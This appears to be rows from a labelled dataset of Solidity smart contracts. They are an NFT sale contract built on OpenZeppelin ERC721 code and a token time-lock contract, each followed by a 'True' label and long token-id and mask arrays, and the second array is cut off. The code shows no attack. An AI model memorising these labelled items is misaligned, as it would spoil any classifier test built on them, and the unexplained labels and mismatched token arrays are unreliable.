require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/InBetweeners.sol
pragma solidity >=0.7.0 <0.9.0;
contract InBetweeners is ERC721Enumerable, Ownable {
using Strings for uint256;
string private baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public preSaleCost = 0.27 ether;
uint256 public cost = 0.27 ether;
uint256 public maxSupply = 10777;
uint256 public preSaleMaxSupply = 2300;
uint256 public maxMintAmountPresale = 3;
uint256 public maxMintAmount = 10;
uint256 public nftPerAddressLimitPresale = 3;
uint256 public nftPerAddressLimit = 10000;
uint256 public preSaleDate = 1639589400;
uint256 public preSaleEndDate = 1639675800;
uint256 public publicSaleDate = 1639762200;
bool public paused = true;
bool public revealed = false;
mapping(address => bool) whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setNotRevealedURI(_initNotRevealedUri);
}
//MODIFIERS
modifier notPaused {
require(!paused, "the contract is paused");
_;
}
modifier saleStarted {
require(block.timestamp >= preSaleDate, "Sale has not started yet");
_;
}
modifier minimumMintAmount(uint256 _mintAmount) {
require(_mintAmount > 0, "need to mint at least 1 NFT");
_;
}
// INTERNAL
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function presaleValidations(
uint256 _ownerMintedCount,
uint256 _mintAmount,
uint256 _supply
) internal {
uint256 actualCost;
block.timestamp < preSaleEndDate
? actualCost = preSaleCost
: actualCost = cost;
require(isWhitelisted(msg.sender), "user is not whitelisted");
require(
_ownerMintedCount + _mintAmount <= nftPerAddressLimitPresale,
"max NFT per address exceeded for presale"
);
require(msg.value >= actualCost * _mintAmount, "insufficient funds");
require(
_mintAmount <= maxMintAmountPresale,
"max mint amount per transaction exceeded"
);
require(
_supply + _mintAmount <= preSaleMaxSupply,
"max NFT presale limit exceeded"
);
}
function publicsaleValidations(uint256 _ownerMintedCount, uint256 _mintAmount)
internal
{
require(
_ownerMintedCount + _mintAmount <= nftPerAddressLimit,
"max NFT per address exceeded"
);
require(msg.value >= cost * _mintAmount, "insufficient funds");
require(
_mintAmount <= maxMintAmount,
"max mint amount per transaction exceeded"
);
}
//MINT
function mint(uint256 _mintAmount)
public
payable
notPaused
saleStarted
minimumMintAmount(_mintAmount)
{
uint256 supply = totalSupply();
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
//Do some validations depending on which step of the sale we are in
block.timestamp < publicSaleDate
? presaleValidations(ownerMintedCount, _mintAmount, supply)
: publicsaleValidations(ownerMintedCount, _mintAmount);
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function gift(uint256 _mintAmount, address destination) public onlyOwner {
require(_mintAmount > 0, "need to mint at least 1 NFT");
uint256 supply = totalSupply();
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[destination]++;
_safeMint(destination, supply + i);
}
}
//PUBLIC VIEWS
function isWhitelisted(address _user) public view returns (bool) {
return whitelistedAddresses[_user];
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (!revealed) {
return notRevealedUri;
} else {
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)
)
: "";
}
}
function getCurrentCost() public view returns (uint256) {
if (block.timestamp < preSaleEndDate) {
return preSaleCost;
} else {
return cost;
}
}
//ONLY OWNER VIEWS
function getBaseURI() public view onlyOwner returns (string memory) {
return baseURI;
}
function getContractBalance() public view onlyOwner returns (uint256) {
return address(this).balance;
}
//ONLY OWNER SETTERS
function reveal() public onlyOwner {
revealed = true;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setNftPerAddressLimitPreSale(uint256 _limit) public onlyOwner {
nftPerAddressLimitPresale = _limit;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setPresaleCost(uint256 _newCost) public onlyOwner {
preSaleCost = _newCost;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmountPreSale(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmountPresale = _newmaxMintAmount;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setPresaleMaxSupply(uint256 _newPresaleMaxSupply) public onlyOwner {
preSaleMaxSupply = _newPresaleMaxSupply;
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
maxSupply = _maxSupply;
}
function setPreSaleDate(uint256 _preSaleDate) public onlyOwner {
preSaleDate = _preSaleDate;
}
function setPreSaleEndDate(uint256 _preSaleEndDate) public onlyOwner {
preSaleEndDate = _preSaleEndDate;
}
function setPublicSaleDate(uint256 _publicSaleDate) public onlyOwner {
publicSaleDate = _publicSaleDate;
}
function whitelistUsers(address[] memory addresses) public onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
whitelistedAddresses[addresses[i]] = true;
}
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{ value: address(this).balance }(
""
);
require(success);
}
} | True | [
101,
1013,
1008,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30240000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x7c3A5F415B4F53B4aBCAAA1E844fcb62cD900d91;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1005,
1056,
2907,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
19204,
1063,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
1065,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
